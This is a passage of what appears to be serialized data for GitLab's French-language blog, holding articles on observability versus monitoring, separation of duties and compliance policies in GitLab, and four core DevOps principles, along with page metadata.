manuelle des corrélations, même pour des cas simples. \n\nEn revanche, l'observabilité offre une image beaucoup plus intuitive et complète, interopérable avec l'ensemble des modules du système. Ainsi, vous n'avez pas besoin de concevoir un tableau de bord agrégeant des outils de surveillance disparates. Une plateforme d'observabilité est suffisamment flexible pour présenter automatiquement les informations critiques dans le contexte adéquat. Les outils d'observabilité peuvent ainsi fournir aux équipes de développement un retour sur les performances des exécutions CI/CD et une information sur la qualité de leur code.\n\nEn fin de compte, l'observabilité informatique fournit une forme de débogage et de compréhension des erreurs plus globale. Les données d'observabilité d'un système peuvent mettre en évidence des incidents totalement nouveaux (*unknown unknowns*). Ce qui peut revêtir une importance capitale, comme le montre l'exemple fourni dans la section suivante.\n\n## Pourquoi privilégier l'observabilité ?\n\nL'observabilité aide à réduire le temps moyen de résolution (MTTR). Cela se traduit par des interruptions plus courtes, des applications plus performantes et une amélioration de l'expérience des utilisateurs. Si à première vue la surveillance peut sembler offrir les mêmes avantages, considérez l’anecdote suivante. \n\nUne équipe d'ingénieurs reçoit un message du service comptable. La facture des fournisseurs de service cloud est devenue si onéreuse que le directeur financier s'en est rendu compte. Les ingénieurs DevOps consultent le système de surveillance, mais en vain : chaque partie du système est au vert pour des éléments tels que la mémoire, le processeur et les entrées et sorties de disque. En réalité, la cause profonde provient d'un autre événement totalement inconnu. \n\nUne latence DNS dans les [pipelines CI/CD](https://docs.gitlab.com/ee/ci/pipelines/ \"Pipelines CI/CD de GitLab\") provoque un taux d'échec des compilations élevé, et les nouvelles tentatives consomment fortement les ressources cloud. Cependant, le phénomène ne perdure pas assez longtemps pour être repéré par le système de surveillance. En ajoutant des outils d'observabilité et en collectant tous les types d'événements dans l'environnement, l'équipe a pu enfin identifier la source du problème et y remédier. Avec un système de surveillance traditionnel, l'organisation aurait dû a priori connaître le problème de latence DNS pour pouvoir l'identifier.\n\nL'observabilité d'un système a également de l'importance pour les équipes non techniques et commerciales. La technologie étant de plus en plus prégnante au sein de chaque pilier d'activité d'un groupe, les indicateurs clés de performance de l'infrastructure logicielle se confondent avec ceux de l'entreprise. L'observabilité peut ainsi fournir une meilleure vision des indicateurs clés de performance, et des options utilisables en libre-service pour les différentes équipes.\n\nLa qualité de l'expérience utilisateur (UX) se doit d'être au cœur des logiciels et applications modernes. Comme l'illustre l'histoire précédente, la surveillance des mesures statiques ne suffit pas pour connaître l'ensemble des performances de l'expérience utilisateur ou du système. Des tableaux de bord apparemment sains peuvent cacher de graves problèmes. \n\n## Quelles sont les mesures clés de l'observabilité ?\n\nPour les entreprises qui souhaitent utiliser des outils d'observabilité, leur mise en œuvre passe par l'identification d’objectifs principaux de l'observabilité et de la manière dont elle peut être implémentée au sein de leur structure informatique.\n\nLes trois piliers de l'observabilité constituent un excellent point de départ :\n- Les journaux (ou logs) : le suivi des informations et des événements,\n- Les métriques : la mesure de métriques spécifiques et de données de performance,\n- Le traçage : l'enregistrement des performances des requêtes d'un bout à l'autre de leur exécution.\n\nS'ils ont pu paraître insurmontables au départ, des projets comme [OpenTelemetry](https://opentelemetry.io/ \"OpenTelemetry\") aident à standardiser les normes de journalisation, de métriques et de traçage, créant ainsi un écosystème plus cohérent et un retour sur investissement plus rapide pour les entreprises mettant en œuvre l'observabilité.\n\nDes données et des piliers supplémentaires pour l'observabilité incluent :\n\n- Le suivi des erreurs : des journaux à l'information plus fine et agrégée,\n- Le *Continuous Profiling* : l'évaluation de la performance du code en temps réel dans l'environnement de production\n- Le *Real User Monitoring (RUM)* : la surveillance de l'utilisateur réel pour comprendre les performances de l'application de son point de vue.\n\nUn thème commun émerge de l'examen de ces piliers. Un examen limité dans le temps et dans l'espace ne suffit plus. Les systèmes distribués modernes requièrent une vision globale. Pour comprendre les performances d'une application, il faut d’abord effectuer un échantillonnage au niveau du client réel, et effectuer ensuite une analyse complète de ses interactions avec l'ensemble des composants du logiciel.\n\nAu-delà de la surveillance traditionnelle des applications, l'observabilité contribue à améliorer l'excellence opérationnelle des équipes d'ingénierie. C'est souvent à partir de pannes réelles et des leçons que nous en tirons que nous concevons des programmes de surveillance efficaces. La mise en œuvre de l'ingénierie du chaos permet de tester les outils d'observabilité lors de défaillances réelles, mais dans un environnement contrôlé, avec des résultats connus à l'avance. Cette approche peut apporter des gains significatifs en termes d'équilibre opérationnel, dans des systèmes où des « inconnus inconnus » peuvent se cacher dans n'importe quel workflow de l'infrastructure IT. \n\n## L'observabilité, un élément essentiel de l’approche DevOps\n\nL'observabilité est essentielle pour les [équipes DevOps](https://about.gitlab.com/fr-fr/topics/devops/ \"DevOps\"), mais aussi pour l'ensemble de l'entreprise. En remplaçant les données statiques des solutions de surveillance traditionnelles, l'[observabilité](https://about.gitlab.com/blog/observability-is-key-to-cloud-native-transitions-and-modern-application-development/ \"Observabilité\") offre une vue complète de l'infrastructure applicative.\n\nLes équipes DevOps doivent collaborer avec toutes les parties prenantes pour améliorer la mise en œuvre de l'observabilité au sein de l'entreprise et s'assurer qu'elle profite à l'ensemble des équipes. Il est aussi important de former et de sensibiliser les équipes de développement aux avantages de l'observabilité.\n\nLes équipes DevOps peuvent également aider à identifier plus rapidement la cause première des incidents de production. Une bonne instrumentation du code des applications facilitera aussi la distinction entre problèmes de code et d'infrastructure. Enfin, en déplaçant l'observabilité plus en amont dans le cycle de conception logicielle, de possibles dévers dans les objectifs de niveau de service (SLO) peuvent être détectés plus tôt.\n\nLes équipes DevOps qui souhaitent améliorer significativement les performances des applications et les résultats de l'entreprise peuvent considérer l'observabilité comme un moyen d'atteindre ces deux objectifs.\n",[1420,673,1174],{"slug":3266,"featured":6,"template":683},"observability-vs-monitoring-in-devops","content:fr-fr:blog:observability-vs-monitoring-in-devops.yml","Observability Vs Monitoring In Devops","fr-fr/blog/observability-vs-monitoring-in-devops.yml","fr-fr/blog/observability-vs-monitoring-in-devops",{"_path":3272,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3273,"content":3279,"config":3287,"_id":3289,"_type":16,"title":3290,"_source":17,"_file":3291,"_stem":3292,"_extension":20},"/fr-fr/blog/ensuring-compliance",{"ogTitle":3274,"schema":3275,"ogImage":3276,"ogDescription":3277,"ogSiteName":841,"noIndex":6,"ogType":842,"ogUrl":3278,"title":3274,"canonicalUrls":3278,"description":3277},"Séparation des tâches et conformité avec GitLab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Séparation des tâches et conformité avec GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Beatriz Barbosa\"},{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2022-04-04\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098232/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_479904468%20%281%29_4lmOEVlaXP0YC3hSFmOw6i_1750098232241.jpg","Maintenez la conformité sans compromettre la rapidité de développement grâce à votre plateforme DevSecOps.","https://about.gitlab.com/blog/ensuring-compliance",{"heroImage":3276,"body":3280,"authors":3281,"updatedDate":3283,"date":3284,"title":3285,"tags":3286,"description":3277,"category":673},"Découvrez dans cet article les différentes façons de garantir la\n**séparation des tâches** ainsi que la **[sécurité et\nconformité](https://about.gitlab.com/fr-fr/solutions/security-compliance/)\nlogicielle continue** avec la plateforme DevSecOps de GitLab. Avant de\ncommencer, définissons tout d'abord ces deux concepts clés.\n\n\n## Qu’est-ce que la conformité ?\n\n\nLa **conformité** désigne le fait de respecter les directives et les spécifications définies par votre entreprise ou par un organisme réglementaire. Elle permet de préserver l'éthique de l'entreprise, d'appliquer des règles d'utilisation appropriées, de respecter les normes de sécurité et plus largement, de protéger les utilisateurs.\n\n\nIl s'agit d'un aspect fondamental, car les manquements peuvent entraîner des sanctions juridiques et financières importantes. En plus d'assurer la conformité, les équipes [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps ?\") doivent également conjuguer vélocité de développement soutenue, simplicité, visibilité et contrôle.\n\n\n## Qu’est-ce que la séparation des tâches ?\n\n\nLa **séparation des tâches** vise à confier une tâche à plusieurs acteurs afin de limiter les risques d'erreurs et de prévenir les activités malveillantes. Cela signifie que chaque tâche ne peut être effectuée que par les rôles les plus adaptés. \n\n\nPrenons un exemple avec plusieurs rôles, chacun doté d'un objectif spécifique :\n\n\n* Un développeur est responsable de la création de nouvelles fonctionnalités.\n\n* Un responsable de la conformité est chargé de créer et d'imposer l'utilisation d'un [pipeline CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\").\n\n* Un ingénieur en sécurité applicative a pour mission d'approuver les merge requests comportant des vulnérabilités.\n\n\nEn tenant compte de cette répartition des rôles, nous nous assurons qu'un développeur ne puisse pas modifier un pipeline CI/CD en cours d'exécution. Cette tâche est en effet réservée au responsable de la conformité, qui veille à ce que seul le code conforme puisse être fusionné sans nécessiter d'approbation supplémentaire.\n\n\nL'ingénieur en sécurité applicative, quant à lui, est chargé de vérifier et d'approuver le code comportant des vulnérabilités. Il met en place les mesures d'atténuation appropriées afin d'éviter toute mauvaise surprise lorsque le code atteint l'environnement de production. Dans ce scénario, les équipes de développement ne peuvent pas fusionner le code tant que les exigences de conformité et de sécurité ne sont pas satisfaites.\n\n\n## Règles de sécurité\n\n\nGitLab met à disposition de ses utilisateurs des **règles de sécurité** qui permettent aux équipes de sécurité d'exiger l'exécution de scans de sécurité conformément à une configuration spécifique, pour garantir que les scans n'ont pas été modifiés ou désactivés.\n\n\nLes règles de sécurité peuvent être associées à des **frameworks de conformité** spécifiques et, dans ce cas, votre projet intègre des exigences de conformité plus strictes et nécessite une supervision supplémentaire. Ce label de conformité peut être créé dans **Sécurisation > Centre de conformité > Frameworks** au niveau de votre groupe principal.\n\n\n![Label du framework de conformité](https://about.gitlab.com/images/blogimages/compliance-04-2022/cf-step-2.png)\n\n\n**Remarque :** les labels de conformité ne peuvent être attribués qu'à des projets du groupe principal dans lequel ils sont créés.\n\n\nIl existe trois types de règles : les [règles d'exécution des scans](https://docs.gitlab.com/ee/user/application_security/policies/scan_execution_policies.html), les [règles d'approbation des merge requests](https://docs.gitlab.com/ee/user/application_security/policies/merge_request_approval_policies.html) et les [règles d'exécution des pipelines](https://docs.gitlab.com/ee/user/application_security/policies/pipeline_execution_policies.html).\n\n\n* **Règles d'exécution des scans :** elles exigent l'exécution de scans de sécurité à une fréquence prédéfinie ou à chaque pipeline du projet.\n\n* **Règles d'approbation des merge requests :** elles permettent de définir les mesures à prendre en fonction des résultats des scans, par exemple d'exiger l'approbation de l'équipe de sécurité avant tout merge.\n\n* **Règles d'exécution des pipelines :** elles imposent l'exécution de certains jobs CI/CD pour les projets concernés.\n\n\nVous pouvez les configurer dans l'Éditeur de règle de GitLab en suivant quelques étapes simples.\n\n\n### Règle d'exécution des scans\n\n\n1. Accédez à **Sécurité et conformité > Politiques**.\n\n2. Créez une nouvelle règle en cliquant sur le bouton **Nouvelle règle**.\n\n3. Sélectionnez **Exécution des scans**.\n\n4. Créez une règle. Dans cet exemple, nous créons une règle qui exige qu'un [SAST](https://docs.gitlab.com/ee/user/application_security/sast/) soit configuré pour qu'un pipeline puisse s'exécuter.\n\n\n```yaml\n\nname: force_sast\n\ndescription: 'require sast to run'\n\nenabled: true\n\nrules:\n\n- type: pipeline branches: - main actions:\n\n- scan: sast\n\n```\n\n\n5. Soumettez la règle en créant une merge request, puis fusionnez-la.\n\n\nL'ensemble des modifications apportées à la règle d'exécution des scans sont appliquées par le biais d'un job en arrière-plan qui s'exécute toutes les 10 minutes. Patientez le temps nécessaire pour que les modifications prennent effet après leur commit.\n\n\n6. Essayez ensuite d'exécuter votre pipeline. Celui-ci ne s'exécutera que si le SAST est correctement défini dans le fichier YAML.\n\n\n**Remarque** : vous pouvez également forcer l'exécution d'un SAST à intervalles réguliers. Consultez la [documentation](https://docs.gitlab.com/ee/user/application_security/policies/scan-execution-policies.html) dédiée aux règles d'exécution des scans pour en savoir plus.\n\n\n### Règle d'approbation des merge requests\n\n\n1. Accédez à **Sécurisation > Politiques**.\n\n2. Créez une nouvelle règle en cliquant sur le bouton **Nouvelle règle**.\n\n3. Sélectionnez **Règle d'approbation des merge requests**.\n\n4. Définissez la portée de la règle.\n\n5. Créez une règle.\n\n\n![Création d'une règle d'approbation des merge requests](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098241/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098241214.png)\n\n\n6. Ajoutez l'action à effectuer.\n\n\n![Mise à jour de la séparation des tâches - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098241/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098241215.png)\n\n\n**Remarque :** la règle d'approbation des merge requests est appliquée en fonction des règles que vous avez définies. Si celles-ci ne sont pas valides ou inexploitables, GitLab exige alors une approbation manuelle. Pour éviter ce blocage automatique, vous pouvez modifier le champ « Comportement par défaut en cas d'erreur » et le régler sur `open`.\n\n\n![Mise à jour de la séparation des tâches - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098241/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750098241217.png)\n\n\n1. Soumettez votre règle d'approbation en créant une merge request, puis en la fusionnant.\n\n2. Créez ensuite une merge request distincte contenant des vulnérabilités.\n\n3. Vérifiez que la règle d'approbation des merge requests s'applique en consultant votre merge request.\n\n\n### Règle d'exécution des pipelines\n\n\nPour configurer une règle d'exécution des pipelines, vous devez d'abord créer un projet contenant les fichiers CI que vous souhaitez exécuter. Assurez-vous de limiter l'accès à l'équipe de sécurité et/ou à l'administrateur pour garantir la séparation des tâches. \n\n\nNous avons créé un projet intitulé « Conformité et déploiement », qui contient le fichier YAML que nous souhaitons appliquer.\n\n\n1. Accédez à **Sécurisation > Politiques**.\n\n2. Cliquez sur le bouton **Nouvelle règle** pour créer une nouvelle règle.\n\n3. Sélectionnez **Règle d'exécution des pipelines**.\n\n4. Définissez la portée de la règle.\n\n5. Ajoutez l'action à effectuer.\n\n\n![Création d'une règle d'exécution des pipelines](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098241/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750098241219.png)\n\n\n6. Ajoutez des conditions.\n\n7. Créez une merge request pour soumettre cette règle, puis fusionnez-la.\n\n8. Essayez ensuite d'exécuter votre pipeline. Les étapes et les jobs spécifiques à cette règle s'afficheront alors dans votre pipeline.\n\n\n## Tableau de bord de gestion des audits et de la conformité\n\n\nLa conformité implique également de s'assurer qu'elle est réellement appliquée dans vos groupes/projets. GitLab dispose d'une fonctionnalité d'événements d'audit et de rapports de conformité pour vous assister dans ce processus.\n\n\nLa **fonctionnalité d'événements d'audit** permet aux propriétaires et administrateurs de GitLab de suivre les événements importants, tels que des actions précises effectuées par certains membres de l'équipe et l'heure à laquelle elles se sont produites.\n\n\n![Fonctionnalité d'événements d'audit de GitLab ](https://about.gitlab.com/images/blogimages/compliance-04-2022/project-audit-events.png)\n\n\nElle enregistre différents types d'actions par groupe et par projet, comme indiqué dans la documentation dédiée à [la fonctionnalité d'événements d'audit](https://docs.gitlab.com/ee/administration/audit_events.html). Vous pouvez accéder à cette fonctionnalité dans **Sécurité et conformité > Événements d'audit**.\n\n\n\nVoici quelques exemples :\n\n\n* Un utilisateur a été ajouté à un projet ainsi qu’à ses autorisations.\n\n* Les autorisations d'un utilisateur affecté à un projet ont été modifiées.\n\n* Une variable CI/CD du projet a été ajoutée, supprimée, ou son statut de protection a été modifié.\n\n* Un utilisateur a été ajouté à un groupe ainsi qu’à ses autorisations.\n\n* Le nom ou le chemin d'accès d'un groupe a été modifié.\n\n\nLes événements d'audit peuvent également être envoyés à un point de terminaison HTTP à l'aide du streaming d'événements d'audit. Découvrez comment mettre en œuvre le streaming des événements d'audit dans cette [vidéo](https://youtu.be/zHwVF9-i7e4?t=52).\n\n\nLa fonctionnalité de **respect des normes** vous permet de suivre l'activité des merge requests d'un groupe. Elle fournit une vue d'ensemble de tous les projets du groupe.\n\n\n![Fonctionnalité de respect des normes dans GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098241/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098241222.png)\n\n\nGrâce à ce rapport, vous pouvez :\n\n\n* Obtenir un aperçu des dernières merge requests pour chaque projet.\n\n* Vérifier si les merge requests ont été approuvées, et par qui.\n\n* Identifier les auteurs des merge requests.\n\n* Afficher le dernier résultat du pipeline CI/CD pour chaque merge request.\n\n\nLe rapport de respect des normes est accessible dans le groupe principal en accédant à **Sécurisation > Centre de conformité**, puis en cliquant sur l'onglet **Respect des normes**.\n\n\n- - -\n\n\nMerci de votre intérêt pour cet article ! Découvrez plus d'informations sur la séparation des tâches au sein de GitLab [sur cette page](/solutions/compliance/).\n",[3282,1316],"Beatriz Barbosa","2025-07-21","2022-04-04","Séparation des tâches et conformité avec GitLab : le guide",[1256,1257],{"slug":3288,"featured":6,"template":683},"ensuring-compliance","content:fr-fr:blog:ensuring-compliance.yml","Ensuring Compliance","fr-fr/blog/ensuring-compliance.yml","fr-fr/blog/ensuring-compliance",{"_path":3294,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3295,"content":3301,"config":3307,"_id":3309,"_type":16,"title":3310,"_source":17,"_file":3311,"_stem":3312,"_extension":20},"/fr-fr/blog/4-must-know-devops-principles",{"title":3296,"description":3297,"ogTitle":3296,"ogDescription":3297,"noIndex":6,"ogImage":3298,"ogUrl":3299,"ogSiteName":841,"ogType":842,"canonicalUrls":3299,"schema":3300},"Principes DevOps : les fondamentaux pour un développement réussi","Découvrez 4 principes DevOps clés pour développer des logiciels plus rapidement et de meilleure qualité.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665982/Blog/Hero%20Images/jpvalery-9pLx0sLli4unsplash.jpg","https://about.gitlab.com/blog/4-must-know-devops-principles","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Principes DevOps : les fondamentaux pour un développement réussi\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2022-02-11\",\n      }",{"title":3296,"description":3297,"authors":3302,"heroImage":3298,"date":3303,"body":3304,"category":2738,"tags":3305,"updatedDate":3306},[1295],"2022-02-11","La méthodologie de développement de logiciels [DevOps](https://about.gitlab.com/fr-fr/topics/devops/ \"DevOps\"), bien que populaire, peut paraître un peu déroutante pour les novices. D’autant plus lorsqu'elle englobe d'autres domaines tels que la sécurité (DevSecOps), les affaires (BizDevOps), ou d'autres spécificités.\n\nDans cet article, découvrez les quatre grands principes DevOps et pourquoi ils sont essentiels au bon développement et déploiement de vos logiciels.\n\n## Qu’est-ce que le DevOps ? \n\nLe DevOps réunit deux pratiques autrefois séparées : le développement de logiciels et les opérations IT. L'une de ses principales missions est d'accélérer le cycle de vie du développement logiciel en favorisant un environnement collaboratif entre ces différentes équipes.\n\nLes principes fondamentaux de l’approche DevOps comprennent une culture de la collaboration et de la communication, des tests automatisés, des releases et des déploiements, ainsi que des itérations fréquentes. Un autre terme couramment utilisé dans l'univers DevOps est le [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"DevSecOps\"), qui fait référence à une pratique DevOps dans laquelle l’accent est mis sur la sécurité. \n\nL'essentiel de l’approche DevOps réside dans quatre grands principes clés qui vous aideront à améliorer les pratiques de développement de votre entreprise :\n\n- L’automatisation du cycle de vie du développement logiciel \n- La collaboration et la communication\n- L’amélioration continue et la réduction de la source de gaspillage\n- La concentration sur les besoins des utilisateurs avec des boucles de rétroaction courtes\n\n## Quels sont les principes DevOps ?\n\nIl y a environ quinze ans, une nouvelle idée émerge : réunir et faire collaborer de manière harmonieuse le développement et les opérations IT. Nous sommes alors en 2009 lorsque Patrick Debois, aujourd'hui considéré comme l'un des grands mentors de cette méthodologie, invente le terme « DevOps ». Le DevOps intègre de nombreux principes du [développement logiciel Agile](https://about.gitlab.com/fr-fr/topics/agile-delivery/ \"Développement logiciel Agile\") avec pour objectif de supprimer les silos entre les équipes de développement (Dev) et celles des opérations (Ops).\n\nDepuis lors, les pratiques DevOps n'ont cessé de gagner en popularité auprès des petites et grandes entreprises, dotées ou non de systèmes hérités. Si cette méthodologie a connu une adoption aussi rapide, c'est grâce à sa capacité à s'adapter aux besoins et à l'environnement unique de chaque entreprise, tout en répondant à ses différents objectifs commerciaux.\n\nS’il existe de nombreuses variantes à la méthodologie DevOps, quatre principes fondamentaux peuvent cependant être identifiés.\n\n### L’automatisation du cycle de vie du développement logiciel\n\nLe Graal, pour toute équipe DevOps, c'est l'automatisation. Avant l'apparition de l’approche DevOps, le développement de logiciels impliquait, à chaque étape du processus, un effort manuel important nécessitant une intervention humaine.\n\nAvec un tel besoin en ressources humaines, il n'était pas rare pour les entreprises de mettre à jour ou de publier un nouveau code seulement une fois par an, et cela pour les plus productives. En effet, la plupart suivait plutôt un rythme de publication de 18 ou 24 mois. De nos jours, en partie grâce à l'automatisation, les « [équipes DevOps](https://about.gitlab.com/blog/how-to-make-your-devops-team-elite-performers/ \"Equipes DevOps confirmées\") confirmées » arrivent à publier du code plusieurs fois par jour.\n\nPour comprendre la puissance et l'importance de l'automatisation en DevOps, prenons l'exemple des tests logiciels, étape souvent négligée et sous-estimée. Elle est d'ailleurs bien trop souvent mise en cause lors de retards de déploiement logiciel.\n\nEt pour cause : les tests logiciels sont probablement l'étape la plus chronophage de toute l’approche DevOps. En effet, cette dernière exige des équipes qu'elles préparent des scénarios auxquels elles feront passer une multitude de tests, pour ensuite analyser les résultats et appliquer des correctifs. La phase de tests est en réalité essentielle car sans elle, les entreprises risqueraient de publier un code erroné, voire un code non sécurisé.\n\nC’est là qu’entre en jeu l'automatisation avec l’idée que les [tests logiciels](https://about.gitlab.com/blog/want-faster-releases-your-answer-lies-in-automated-software-testing/ \"Tests logiciels\") les plus élémentaires peuvent se faire au fur et à mesure de l'écriture du code. L'automatisation des tests, dans ce nouveau paradigme, permet alors d'accélérer considérablement l'ensemble du processus de développement logiciel. En plus de booster la productivité des équipes et de réduire les erreurs humaines, ce principe DevOps permet également aux testeurs de logiciels de se concentrer sur des problèmes plus importants liés à la qualité du code. \n\nBien que l'automatisation des tests soit l'une des avancées majeures de l’approche DevOps, elle est loin d'être la seule. Nous retrouvons également l'[intégration continue](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Intégration continue\") qui automatise le processus de déplacement d'un nouveau code vers le code existant, tandis que le [déploiement continu](https://about.gitlab.com/fr-fr/blog/how-to-keep-up-with-ci-cd-best-practices/ \"Déploiement continu\") permet d'automatiser les releases. Sans oublier, l'[infrastructure en tant que code (IaC)](https://about.gitlab.com/fr-fr/topics/gitops/infrastructure-as-code/ \"Infrastructure en tant que code\") qui facilite quant à elle l'automatisation du processus de provisionnement des environnements de développement.\n\n### La collaboration et la communication\n\nUne bonne équipe DevOps dispose de l'automatisation, mais une équipe DevOps confirmée communique et collabore en permanence. Derrière l'idée de réunir les équipes Dev et Ops (ainsi que les équipes dédiées à la sécurité et aux tests, les parties prenantes, etc.), il s'agit surtout de les encourager à collaborer et à communiquer de manière harmonieuse. \n\nCe principe DevOps peut sembler évident, mais il est en réalité plus compliqué qu'il n'y paraît. En effet, il n'est pas rare pour les différentes équipes de reprendre leurs vieilles habitudes et de fonctionner avec une vision, voire même des outils, cloisonnés, comme en témoigne le scénario suivant : les équipes Dev veulent écrire du code et le publier ; les équipes Ops se concentrent sur les outils, la conformité et le cloud et les équipes Sec s’assurent que le code est sûr.\n\nDans ce scénario, les équipes Dev, Ops et Sec n'ont pas les mêmes priorités et ne parlent peut-être pas le même « langage », ce qui les empêche de travailler en harmonie. Elles sont alors susceptibles d'aborder la résolution de problèmes sous des angles très différents. \n\nDe plus, il arrive que [les équipes Dev et Sec ne s'entendent pas](https://about.gitlab.com/blog/developer-security-divide/), en partie parce que le fossé en matière de communication et de collaboration est important. Il y a donc un véritable enjeu à rassembler chaque équipe et surtout à les inciter à [penser et voir les choses différemment](https://about.gitlab.com/blog/want-secure-software-development-our-top-5-tips-to-bring-dev-and-sec-together/ \"5 conseils pour rapprocher les équipes Dev et Sec\").\n\n### L’amélioration continue et la réduction de la source de gaspillage\n\nS'appuyant fortement sur des méthodologies de développement logiciel déjà existantes, notamment les méthodes Agile et Lean, l’approche DevOps se concentre également sur la réduction de la source de gaspillage et l'amélioration continue. Qu'il s'agisse d'automatiser des tâches répétitives comme les tests (afin de gagner du temps) ou de réduire le nombre d'étapes nécessaires à la publication d'un nouveau code, les équipes DevOps performantes continuent de mesurer les indicateurs de performance afin de déterminer les domaines qui peuvent être améliorés. \n\nAinsi, ce principe DevOps encourage notamment les équipes à [améliorer continuellement leurs délais de publication](https://about.gitlab.com/blog/why-improving-continuously-speeds-up-delivery/ \"Amélioration du délai de publication\"), ou encore à réduire le [temps moyen de récupération](https://pipelinedriven.org/article/devops-metric-mean-time-to-recovery-mttr-definition-and-reasoning \"Temps moyen de récupération\") (MTTR - Mean Time to Recovery) et le nombre de bogues détectés.\n\n### La concentration sur les besoins des utilisateurs avec les boucles de rétroaction courtes\n\nLe dernier principe incontournable de l’approche DevOps est l'importance d'impliquer l'utilisateur à chaque étape du processus. Grâce aux principes DevOps précédemment cités, les équipes bénéficient normalement de plus de temps, qu'elles peuvent mettre à contribution pour se concentrer sur les besoins des utilisateurs et développer des fonctionnalités répondant à leurs attentes. \n\nIl est évidemment difficile de se mettre à la place des utilisateurs finaux, et il peut être encore [plus compliqué pour les équipes d'implémenter des processus œuvrant dans ce sens](https://about.gitlab.com/blog/journey-to-the-outer-loop/). Cependant, maintenant que vos équipes automatisent certaines tâches, communiquent plus efficacement entre elles et ont à cœur d'améliorer chaque étape du cycle du développement logiciel, elles pourront écouter et intégrer les retours des utilisateurs, plus facilement et plus rapidement. \n\n## Quels sont les défis liés à la mise en œuvre des principes DevOps ?\n\nLa mise en œuvre d’une approche DevOps peut s'avérer difficile, surtout si elle est mise en place pour première fois au sein d’une entreprise. \n\nVoici quelques-uns des principaux défis à connaître avant de se lancer : \n\n- __Briser les silos.__ Il peut être difficile de modifier la dynamique entre les équipes Dev et Ops auparavant distinctes. Prenez donc le temps de comprendre les rôles de chacun, leurs habitudes et leurs outils de travail.\n- __Comprendre le jargon.__ La méthodologie DevOps s'accompagne de beaucoup de jargon technique et de nombreux acronymes difficiles à comprendre pour les non initiés (comme le [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Qu'est-ce que le CI/CD ?\")). Prenez le temps d'étudier ces différents termes et rappelez-vous qu'apprendre en travaillant est parfaitement acceptable.\n- __Migrer à partir d'un logiciel hérité.__ Le concept DevOps peut être particulièrement délicat pour les équipes qui tentent de migrer des logiciels hérités. Par exemple, de nombreux outils conçus pour le DevOps ne fonctionnent pas avec les [mainframes](https://www.lemagit.fr/definition/Mainframe \"Mainframe\") (système informatique central de haute performance). Les intégrations peuvent être difficiles, même pour des professionnels DevOps expérimentés.\n- __Réduire le nombre d’outils.__ Les équipes passent tellement de temps à intégrer et à gérer la maintenance des outils que cela les empêche de développer, de publier et de surveiller leur code. C'est ce que l'on appelle communément la « taxe liée à la chaîne d'outils » (« toolchain tax »). \n- __Apprivoiser la frustration de la courbe d'apprentissage.__ L’approche DevOps est compliquée et comprendre son fonctionnement se fait progressivement. Faites preuve de patience et de compréhension avec vos équipes, et ce tout au long de la mise en œuvre de cette méthodologie. Aidez-vous de toutes les ressources disponibles, telles que la documentation technique et les services d'assistance de votre plateforme DevOps pour réussir votre apprentissage continu. \n\n## Comment intégrer l’approche DevOps dans votre organisation ?\n\nAvant de mettre en place une approche DevOps, nous vous conseillons de suivre les étapes suivantes : \n\n1. Définissez des objectifs, \n2. Clarifiez les rôles et responsabilités de chaque partie prenante impliquée,\n3. Commencez petit et, avec l'expérience, faites évoluer progressivement votre stratégie,\n4. Prévoyez d'automatiser autant que possible,\n5. Planifiez votre chaîne d'outils et n'oubliez pas qu’elle peut toujours être modifiée par la suite,\n6. Mettez en place des points de contrôle réguliers,\n7. Soyez prêt à itérer constamment (mais seulement après avoir attendu suffisamment longtemps pour prouver qu'une nouvelle itération est nécessaire), \n\n## Quel avenir pour le DevOps ?\n\nL'adoption de l’approche DevOps a connu une croissance importante lors de la pandémie de Covid-19. Dépassant les difficultés classiques liées à la gestion de projet et au travail collaboratif, en particulier à distance, les équipes de développement ont alors concentré leurs efforts sur l’adoption de nouvelles technologies, plus performantes.\n\nL'utilisation de technologies avancées, comme [Kubernetes](https://about.gitlab.com/fr-fr/blog/kubernetes-the-container-orchestration-solution/ \"Kubernetes\"), les [plateformes DevOps](https://about.gitlab.com/fr-fr/topics/devops-platform/ \"Plateforme DevOps\") et l’intelligence artificielle (IA) ou le machine learning (ML), nous donnent des indications sur ce à quoi pourrait ressembler l'avenir du DevOps.\n\nDans ce contexte, il paraît logique de s'attendre à ce que le futur du DevOps implique : \n\n- encore plus d'automatisation des processus,\n- une prise de décision plus intelligente alimentée par l’ IA et le ML (en commençant très certainement par la revue de code), \n- un choix d'outils plus réfléchi, comme l'adoption d’une plateforme DevOps pour rationaliser le processus de développement.\n",[1420,1766,235],"2024-10-22",{"slug":3308,"featured":6,"template":683},"4-must-know-devops-principles","content:fr-fr:blog:4-must-know-devops-principles.yml","4 Must Know Devops 